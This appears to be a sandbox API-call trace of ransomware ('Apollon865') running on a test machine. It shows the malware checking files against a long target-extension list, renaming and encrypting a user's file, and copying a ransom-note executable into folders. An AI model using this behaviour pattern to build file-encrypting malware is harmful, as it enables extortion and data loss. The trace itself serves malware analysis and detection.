	[0088.057] lstrlenW (lpString="adb") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.057] lstrlenW (lpString="ade") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.057] lstrlenW (lpString="adf") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.057] lstrlenW (lpString="adn") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.057] lstrlenW (lpString="adp") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.057] lstrlenW (lpString="alf") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.057] lstrlenW (lpString="ask") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.057] lstrlenW (lpString="btr") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.057] lstrlenW (lpString="cat") returned 3
	[0088.057] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.057] lstrlenW (lpString="cdb") returned 3
	[0088.058] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.058] lstrlenW (lpString="ckp") returned 3
	[0088.058] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.058] lstrlenW (lpString="cma") returned 3
	[0088.058] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.058] lstrlenW (lpString="cpd") returned 3
	[0088.058] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.058] lstrlenW (lpString="dacpac") returned 6
	[0088.058] lstrcmpiW (lpString1=" 4.wav", lpString2="dacpac") returned -1
	[0088.058] lstrlenW (lpString="dad") returned 3
	[0088.058] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.058] lstrlenW (lpString="dadiagrams") returned 10
	[0088.058] lstrcmpiW (lpString1="SaAC 4.wav", lpString2="dadiagrams") returned 1
	[0088.058] lstrlenW (lpString="daschema") returned 8
	[0088.058] lstrcmpiW (lpString1="AC 4.wav", lpString2="daschema") returned -1
	[0088.058] lstrlenW (lpString="db-journal") returned 10
	[0088.058] lstrcmpiW (lpString1="SaAC 4.wav", lpString2="db-journal") returned 1
	[0088.058] lstrlenW (lpString="db-shm") returned 6
	[0088.058] lstrcmpiW (lpString1=" 4.wav", lpString2="db-shm") returned -1
	[0088.058] lstrlenW (lpString="db-wal") returned 6
	[0088.058] lstrcmpiW (lpString1=" 4.wav", lpString2="db-wal") returned -1
	[0088.058] lstrlenW (lpString="dbc") returned 3
	[0088.058] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.058] lstrlenW (lpString="dbs") returned 3
	[0088.058] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.058] lstrlenW (lpString="dbt") returned 3
	[0088.058] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.058] lstrlenW (lpString="dbv") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.059] lstrlenW (lpString="dbx") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.059] lstrlenW (lpString="dcb") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.059] lstrlenW (lpString="dct") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.059] lstrlenW (lpString="dcx") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.059] lstrlenW (lpString="ddl") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.059] lstrlenW (lpString="dlis") returned 4
	[0088.059] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.059] lstrlenW (lpString="dp1") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.059] lstrlenW (lpString="dqy") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.059] lstrlenW (lpString="dsk") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.059] lstrlenW (lpString="dsn") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.059] lstrlenW (lpString="dtsx") returned 4
	[0088.059] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.059] lstrlenW (lpString="dxl") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.059] lstrlenW (lpString="eco") returned 3
	[0088.059] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.060] lstrlenW (lpString="ecx") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.060] lstrlenW (lpString="edb") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.060] lstrlenW (lpString="epim") returned 4
	[0088.060] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.060] lstrlenW (lpString="fcd") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.060] lstrlenW (lpString="fdb") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.060] lstrlenW (lpString="fic") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.060] lstrlenW (lpString="flexolibrary") returned 12
	[0088.060] lstrcmpiW (lpString1="h5SaAC 4.wav", lpString2="flexolibrary") returned 1
	[0088.060] lstrlenW (lpString="fm5") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.060] lstrlenW (lpString="fmp") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.060] lstrlenW (lpString="fmp12") returned 5
	[0088.060] lstrcmpiW (lpString1="4.wav", lpString2="fmp12") returned -1
	[0088.060] lstrlenW (lpString="fmpsl") returned 5
	[0088.060] lstrcmpiW (lpString1="4.wav", lpString2="fmpsl") returned -1
	[0088.060] lstrlenW (lpString="fol") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.060] lstrlenW (lpString="fp3") returned 3
	[0088.060] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.060] lstrlenW (lpString="fp4") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.061] lstrlenW (lpString="fp5") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.061] lstrlenW (lpString="fp7") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.061] lstrlenW (lpString="fpt") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.061] lstrlenW (lpString="frm") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.061] lstrlenW (lpString="gdb") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.061] lstrlenW (lpString="gdb") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.061] lstrlenW (lpString="grdb") returned 4
	[0088.061] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.061] lstrlenW (lpString="gwi") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.061] lstrlenW (lpString="hdb") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.061] lstrlenW (lpString="his") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.061] lstrlenW (lpString="ib") returned 2
	[0088.061] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.061] lstrlenW (lpString="idb") returned 3
	[0088.061] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.061] lstrlenW (lpString="ihx") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.062] lstrlenW (lpString="itdb") returned 4
	[0088.062] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.062] lstrlenW (lpString="itw") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.062] lstrlenW (lpString="jet") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.062] lstrlenW (lpString="jtx") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.062] lstrlenW (lpString="kdb") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.062] lstrlenW (lpString="kexi") returned 4
	[0088.062] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.062] lstrlenW (lpString="kexic") returned 5
	[0088.062] lstrcmpiW (lpString1="4.wav", lpString2="kexic") returned -1
	[0088.062] lstrlenW (lpString="kexis") returned 5
	[0088.062] lstrcmpiW (lpString1="4.wav", lpString2="kexis") returned -1
	[0088.062] lstrlenW (lpString="lgc") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.062] lstrlenW (lpString="lwx") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.062] lstrlenW (lpString="maf") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.062] lstrlenW (lpString="maq") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.062] lstrlenW (lpString="mar") returned 3
	[0088.062] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.063] lstrlenW (lpString="marshal") returned 7
	[0088.063] lstrcmpiW (lpString1="C 4.wav", lpString2="marshal") returned -1
	[0088.063] lstrlenW (lpString="mas") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.063] lstrlenW (lpString="mav") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.063] lstrlenW (lpString="maw") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.063] lstrlenW (lpString="mdbhtml") returned 7
	[0088.063] lstrcmpiW (lpString1="C 4.wav", lpString2="mdbhtml") returned -1
	[0088.063] lstrlenW (lpString="mdn") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.063] lstrlenW (lpString="mdt") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.063] lstrlenW (lpString="mfd") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.063] lstrlenW (lpString="mpd") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.063] lstrlenW (lpString="mrg") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.063] lstrlenW (lpString="mud") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.063] lstrlenW (lpString="mwb") returned 3
	[0088.063] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.063] lstrlenW (lpString="myd") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.064] lstrlenW (lpString="ndf") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.064] lstrlenW (lpString="nnt") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.064] lstrlenW (lpString="nrmlib") returned 6
	[0088.064] lstrcmpiW (lpString1=" 4.wav", lpString2="nrmlib") returned -1
	[0088.064] lstrlenW (lpString="ns2") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.064] lstrlenW (lpString="ns3") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.064] lstrlenW (lpString="ns4") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.064] lstrlenW (lpString="nsf") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.064] lstrlenW (lpString="nv") returned 2
	[0088.064] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.064] lstrlenW (lpString="nv2") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.064] lstrlenW (lpString="nwdb") returned 4
	[0088.064] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.064] lstrlenW (lpString="nyf") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.064] lstrlenW (lpString="odb") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.064] lstrlenW (lpString="odb") returned 3
	[0088.064] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.065] lstrlenW (lpString="oqy") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.065] lstrlenW (lpString="ora") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.065] lstrlenW (lpString="orx") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.065] lstrlenW (lpString="owc") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.065] lstrlenW (lpString="p96") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.065] lstrlenW (lpString="p97") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.065] lstrlenW (lpString="pan") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.065] lstrlenW (lpString="pdb") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.065] lstrlenW (lpString="pdm") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.065] lstrlenW (lpString="pnz") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.065] lstrlenW (lpString="qry") returned 3
	[0088.065] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.065] lstrlenW (lpString="qvd") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.066] lstrlenW (lpString="rbf") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.066] lstrlenW (lpString="rctd") returned 4
	[0088.066] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.066] lstrlenW (lpString="rod") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.066] lstrlenW (lpString="rodx") returned 4
	[0088.066] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.066] lstrlenW (lpString="rpd") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.066] lstrlenW (lpString="rsd") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.066] lstrlenW (lpString="sas7bdat") returned 8
	[0088.066] lstrcmpiW (lpString1="AC 4.wav", lpString2="sas7bdat") returned -1
	[0088.066] lstrlenW (lpString="sbf") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.066] lstrlenW (lpString="scx") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.066] lstrlenW (lpString="sdb") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.066] lstrlenW (lpString="sdc") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.066] lstrlenW (lpString="sdf") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.066] lstrlenW (lpString="sis") returned 3
	[0088.066] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.067] lstrlenW (lpString="spq") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.067] lstrlenW (lpString="te") returned 2
	[0088.067] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.067] lstrlenW (lpString="teacher") returned 7
	[0088.067] lstrcmpiW (lpString1="C 4.wav", lpString2="teacher") returned -1
	[0088.067] lstrlenW (lpString="tmd") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.067] lstrlenW (lpString="tps") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.067] lstrlenW (lpString="trc") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.067] lstrlenW (lpString="trc") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.067] lstrlenW (lpString="trm") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.067] lstrlenW (lpString="udb") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.067] lstrlenW (lpString="udl") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.067] lstrlenW (lpString="usr") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.067] lstrlenW (lpString="v12") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.067] lstrlenW (lpString="vis") returned 3
	[0088.067] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.068] lstrlenW (lpString="vpd") returned 3
	[0088.068] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.068] lstrlenW (lpString="vvv") returned 3
	[0088.068] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.068] lstrlenW (lpString="wdb") returned 3
	[0088.068] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.068] lstrlenW (lpString="wmdb") returned 4
	[0088.068] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.068] lstrlenW (lpString="wrk") returned 3
	[0088.068] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.068] lstrlenW (lpString="xdb") returned 3
	[0088.068] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.068] lstrlenW (lpString="xld") returned 3
	[0088.068] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.068] lstrlenW (lpString="xmlff") returned 5
	[0088.068] lstrcmpiW (lpString1="4.wav", lpString2="xmlff") returned -1
	[0088.068] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\ylh5SaAC 4.wav.Apollon865") returned 86
	[0088.068] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\ylh5SaAC 4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\ylh5saac 4.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\ylh5SaAC 4.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\ylh5saac 4.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\ylh5SaAC 4.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\ylh5saac 4.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.070] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=97952) returned 1
	[0088.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.071] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.072] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.072] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.072] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x181a0, lpName=0x0) returned 0x15c
	[0088.072] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x181a0) returned 0x120000
	[0088.077] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.078] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.078] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0088.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0088.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.079] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0088.080] CloseHandle (hObject=0x15c) returned 1
	[0088.081] CloseHandle (hObject=0x9c) returned 1
	[0088.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.083] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fc1ca0, ftCreationTime.dwHighDateTime=0x1d4ccf0, ftLastAccessTime.dwLowDateTime=0x53f9eb50, ftLastAccessTime.dwHighDateTime=0x1d4d48a, ftLastWriteTime.dwLowDateTime=0x53f9eb50, ftLastWriteTime.dwHighDateTime=0x1d4d48a, nFileSizeHigh=0x0, nFileSizeLow=0x17ea0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ylh5SaAC 4.wav", cAlternateFileName="YLH5SA~1.WAV")) returned 0
	[0088.083] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.083] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7990
	[0088.083] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2"
	[0088.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0088.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2") returned 53
	[0088.083] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2"
	[0088.083] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.083] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.084] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.085] GetLastError () returned 0x0
	[0088.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.085] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.085] CloseHandle (hObject=0x10c) returned 1
	[0088.085] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.085] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.085] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2a1bb90, ftCreationTime.dwHighDateTime=0x1d4ca82, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.086] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.086] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.086] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.086] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2a1bb90, ftCreationTime.dwHighDateTime=0x1d4ca82, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
